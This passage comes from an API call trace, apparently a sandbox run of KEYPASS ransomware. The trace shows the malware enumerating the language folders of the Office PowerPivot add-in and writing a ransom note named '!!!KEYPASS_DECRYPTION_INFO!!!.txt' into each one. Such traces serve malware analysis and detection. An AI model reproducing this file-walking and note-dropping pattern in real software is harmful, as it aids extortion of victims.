Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39879f8 [0253.505] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml") returned=".xml" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.512] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.512] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.513] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.513] FindNextFileW (in: hFindFile=0x39879f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.514] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.514] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.514] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.514] GetLastError () returned 0x3f0 [0253.514] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.514] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0253.527] GetFileType (hFile=0x8b0) returned 0x1 [0253.527] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.527] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.527] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.527] WriteFile (in: hFile=0x8b0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.528] WriteFile (in: hFile=0x8b0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.528] CloseHandle (hObject=0x8b0) returned 1 [0253.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987a38 [0253.528] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.613] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml") returned=".xml" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.614] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987a38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.615] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.615] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Interop.MSDASC.dll") returned=".dll" [0253.615] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.615] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.615] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.616] GetLastError () returned 0x3f0 [0253.616] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.616] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0253.625] GetFileType (hFile=0x8b4) returned 0x1 [0253.625] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.625] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.625] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.626] WriteFile (in: hFile=0x8b4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.627] WriteFile (in: hFile=0x8b4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.627] CloseHandle (hObject=0x8b4) returned 1 [0253.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3988238 [0253.627] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml") returned=".xml" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0254.319] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0254.320] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0254.320] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0254.320] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0254.320] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0254.320] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0254.320] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0254.321] FindNextFileW (in: hFindFile=0x3988238, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot 